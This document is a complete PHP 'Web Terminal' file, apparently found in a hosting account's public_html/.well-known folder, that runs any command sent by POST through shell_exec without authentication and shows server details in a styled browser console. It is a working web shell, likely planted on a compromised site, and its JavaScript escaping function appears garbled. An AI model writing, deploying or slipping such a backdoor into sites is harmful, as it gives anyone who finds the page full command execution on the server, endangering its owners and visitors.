File: /home/karalev/public_html/.well-known/cmd.php
<?php
// cmd.php - Web Terminal
if ($_POST['command'] ?? false) {
$command = $_POST['command'];
$output = '';
if (!empty($command)) {
try {
// Eksekusi command
if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
// Windows
$output = shell_exec($command . ' 2>&1');
} else {
// Linux/Unix
$output = shell_exec($command . ' 2>&1');
}
if ($output === null) {
$output = "Command executed but no output returned";
}
} catch (Exception $e) {
$output = "Error: " . $e->getMessage();
}
}
echo htmlspecialchars($output, ENT_QUOTES, 'UTF-8');
exit;
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Web Terminal</title>
<style>
* {
margin: 0;
padding: 0;
box-sizing: border-box;
}
body {
background: linear-gradient(135deg, #0f172a, #1e3a8a);
font-family: 'Courier New', monospace;
height: 100vh;
display: flex;
justify-content: center;
align-items: center;
color: white;
}
.terminal-container {
width: 90%;
max-width: 1000px;
height: 80vh;
background: #1a1b26;
border-radius: 10px;
box-shadow: 0 10px 30px rgba(0, 0, 0, 0.5);
overflow: hidden;
animation: fadeIn 0.5s ease-in-out;
}
@keyframes fadeIn {
from { opacity: 0; transform: translateY(20px); }
to { opacity: 1; transform: translateY(0); }
}
.terminal-header {
background: #2563eb;
padding: 12px 20px;
display: flex;
align-items: center;
border-bottom: 2px solid #3b82f6;
}
.terminal-buttons {
display: flex;
gap: 8px;
}
.terminal-button {
width: 12px;
height: 12px;
border-radius: 50%;
}
.close { background: #ef4444; }
.minimize { background: #f59e0b; }
.maximize { background: #10b981; }
.terminal-title {
margin-left: 20px;
font-weight: bold;
color: white;
}
.terminal-body {
height: calc(100% - 50px);
padding: 20px;
overflow-y: auto;
}
.output-container {
height: calc(100% - 60px);
overflow-y: auto;
margin-bottom: 15px;
background: #0f172a;
border-radius: 5px;
padding: 15px;
border: 1px solid #334155;
}
.output-line {
margin-bottom: 5px;
line-height: 1.4;
color: #e2e8f0;
animation: typeWrite 0.1s ease-in-out;
}
@keyframes typeWrite {
from { opacity: 0; transform: translateX(-10px); }
to { opacity: 1; transform: translateX(0); }
}
.prompt {
color: #60a5fa;
font-weight: bold;
}
.command-input-container {
display: flex;
align-items: center;
background: #0f172a;
border: 1px solid #334155;
border-radius: 5px;
padding: 10px;
}
.prompt-symbol {
color: #60a5fa;
margin-right: 10px;
font-weight: bold;
}
#command-input {
flex: 1;
background: transparent;
border: none;
color: #e2e8f0;
font-family: 'Courier New', monospace;
font-size: 14px;
outline: none;
}
#command-input::placeholder {
color: #64748b;
}
/* Scrollbar styling */
.output-container::-webkit-scrollbar {
width: 8px;
}
.output-container::-webkit-scrollbar-track {
background: #1e293b;
border-radius: 4px;
}
.output-container::-webkit-scrollbar-thumb {
background: #475569;
border-radius: 4px;
}
.output-container::-webkit-scrollbar-thumb:hover {
background: #64748b;
}
/* Command history styling */
.command-history {
color: #60a5fa;
}
.error {
color: #f87171;
}
.success {
color: #34d399;
}
.warning {
color: #fbbf24;
}
/* Loading animation */
.loading {
display: inline-block;
width: 20px;
height: 20px;
border: 3px solid #3b82f6;
border-radius: 50%;
border-top-color: transparent;
animation: spin 1s ease-in-out infinite;
}
@keyframes spin {
to { transform: rotate(360deg); }
}
</style>
</head>
<body>
<div class="terminal-container">
<div class="terminal-header">
<div class="terminal-buttons">
<div class="terminal-button close"></div>
<div class="terminal-button minimize"></div>
<div class="terminal-button maximize"></div>
</div>
<div class="terminal-title">Web Terminal - Command Execution</div>
</div>
<div class="terminal-body">
<div class="output-container" id="output-container">
<div class="output-line">
<span class="prompt">➜</span> Welcome to Web Terminal v1.0
</div>
<div class="output-line">
<span class="prompt">➜</span> Type your commands below. Supported: all system commands
</div>
<div class="output-line">
<span class="prompt">➜</span> System: <?php echo php_uname(); ?>
</div>
<div class="output-line">
<span class="prompt">➜</span> PHP Version: <?php echo PHP_VERSION; ?>
</div>
<div class="output-line"><br></div>
</div>
<div class="command-input-container">
<span class="prompt-symbol">➜</span>
<input type="text" id="command-input" placeholder="Type command here... (ls, pwd, whoami, etc.)" autocomplete="off">
</div>
</div>
</div>
<script>
class WebTerminal {
constructor() {
this.outputContainer = document.getElementById('output-container');
this.commandInput = document.getElementById('command-input');
this.commandHistory = [];
this.historyIndex = -1;
this.currentDirectory = '~';
this.init();
}
init() {
this.commandInput.focus();
this.setupEventListeners();
this.addOutputLine('Terminal ready. Type "help" for basic commands.', 'success');
}
setupEventListeners() {
this.commandInput.addEventListener('keydown', (e) => {
if (e.key === 'Enter') {
this.executeCommand();
} else if (e.key === 'ArrowUp') {
e.preventDefault();
this.navigateHistory(-1);
} else if (e.key === 'ArrowDown') {
e.preventDefault();
this.navigateHistory(1);
} else if (e.key === 'Tab') {
e.preventDefault();
this.autoComplete();
}
});
// Auto-focus input when clicking anywhere
document.addEventListener('click', () => {
this.commandInput.focus();
});
}
async executeCommand() {
const command = this.commandInput.value.trim();
if (!command) return;
// Add command to output
this.addCommandLine(command);
// Add to history
if (command !== this.commandHistory[this.commandHistory.length - 1]) {
this.commandHistory.push(command);
}
this.historyIndex = this.commandHistory.length;
// Clear input
this.commandInput.value = '';
// Show loading
const loadingId = this.showLoading();
try {
const formData = new FormData();
formData.append('command', command);
const response = await fetch('', {
method: 'POST',
body: formData
});
const output = await response.text();
// Remove loading
this.removeLoading(loadingId);
// Add output
this.addOutputLine(output);
} catch (error) {
this.removeLoading(loadingId);
this.addOutputLine('Error executing command: ' + error.message, 'error');
}
// Scroll to bottom
this.scrollToBottom();
}
addCommandLine(command) {
const line = document.createElement('div');
line.className = 'output-line command-history';
line.innerHTML = `<span class="prompt">➜</span> ${this.escapeHtml(command)}`;
this.outputContainer.appendChild(line);
}
addOutputLine(output, type = 'normal') {
if (!output) return;
const lines = output.split('\n');
lines.forEach(line => {
if (line.trim() === '') return;
const lineElement = document.createElement('div');
lineElement.className = `output-line ${type}`;
// Apply syntax highlighting for common patterns
let formattedLine = this.escapeHtml(line);
// Color code common patterns
formattedLine = formattedLine
.replace(/(error|failed|denied|permission)/gi, '<span class="error">$1</span>')
.replace(/(success|ok|completed)/gi, '<span class="success">$1</span>')
.replace(/(warning|caution)/gi, '<span class="warning">$1</span>');
lineElement.innerHTML = formattedLine;
this.outputContainer.appendChild(lineElement);
});
this.scrollToBottom();
}
showLoading() {
const loadingElement = document.createElement('div');
loadingElement.className = 'output-line';
loadingElement.id = 'loading-' + Date.now();
loadingElement.innerHTML = '<div class="loading"></div> Executing command...';
this.outputContainer.appendChild(loadingElement);
this.scrollToBottom();
return loadingElement.id;
}
removeLoading(loadingId) {
const loadingElement = document.getElementById(loadingId);
if (loadingElement) {
loadingElement.remove();
}
}
navigateHistory(direction) {
if (this.commandHistory.length === 0) return;
this.historyIndex += direction;
if (this.historyIndex < 0) {
this.historyIndex = 0;
} else if (this.historyIndex >= this.commandHistory.length) {
this.historyIndex = this.commandHistory.length;
this.commandInput.value = '';
return;
}
this.commandInput.value = this.commandHistory[this.historyIndex];
}
autoComplete() {
// Basic auto-complete for common commands
const input = this.commandInput.value.toLowerCase();
const commands = ['ls', 'cd', 'pwd', 'whoami', 'uname', 'php', 'python', 'git', 'mkdir', 'rm', 'cp', 'mv', 'cat'];
const match = commands.find(cmd => cmd.startsWith(input));
if (match) {
this.commandInput.value = match;
}
}
scrollToBottom() {
this.outputContainer.scrollTop = this.outputContainer.scrollHeight;
}
escapeHtml(unsafe) {
return unsafe
.replace(/&/g, "&")
.replace(/</g, "<")
.replace(/>/g, ">")
.replace(/"/g, """)
.replace(/'/g, "'");
}
}
// Initialize terminal when page loads
document.addEventListener('DOMContentLoaded', () => {
new WebTerminal();
});
</script>
</body>
</html>